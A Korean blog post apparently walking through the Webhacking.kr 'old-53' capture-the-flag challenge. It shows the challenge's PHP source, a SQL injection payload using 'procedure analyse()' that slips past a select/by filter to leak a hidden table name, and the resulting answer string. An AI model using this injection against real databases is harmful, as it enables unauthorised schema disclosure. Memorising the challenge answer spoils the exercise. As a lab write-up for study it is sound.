Web Hacking/Webhacking.kr

[Webhacking.kr] old-53 / Challenge 53

ruming 2021. 11. 7. 20:13

다른 건 없고 소스코드 링크만 걸려있다. 

 

<?php
  $db 
dbconnect();
  include 
"./tablename.php";
  if(
$_GET['answer'] == $hidden_tablesolve(53);
  if(
preg_match("/select|by/i",$_GET['val'])) exit("no hack");
  
$result mysqli_fetch_array(mysqli_query($db,"select a from $hidden_table where a={$_GET['val']}"));
  echo(
$result[0]);
?>

 

sql injection문제같다. select와 by가 대소문자 구분없이 필터링된다.

$_GET['answer']값과 $hidden_table값이 같아야 문제가 풀린다. 숨겨진 테이블의 이름을 answer에 입력해야 한다.

 

procedure analyse() 함수를 이용하면 컬럼, 테이블 명을 알 수 있다. limit와 함께 사용하면 필요한 컬럼 명을 한 줄로 뽑아낼 수도 있다.

https://ar9ang3.tistory.com/7

 

공격을 시도해보자. 인자로 val=1을 보내면 다음과 같이 내용이 화면에 뜬다.

?val=1

 

다음과 같이 입력해보자.

?val=1%20procedure%20analyse();

 

테이블 명을 알아냈다. 이것을 answer에 넣어주면 될 것 같다.

chall53_755fdeb36d873dfdeb2b34487d50a805

?answer=chall53_755fdeb36d873dfdeb2b34487d50a805

 

문제를 해결할 수 있었다!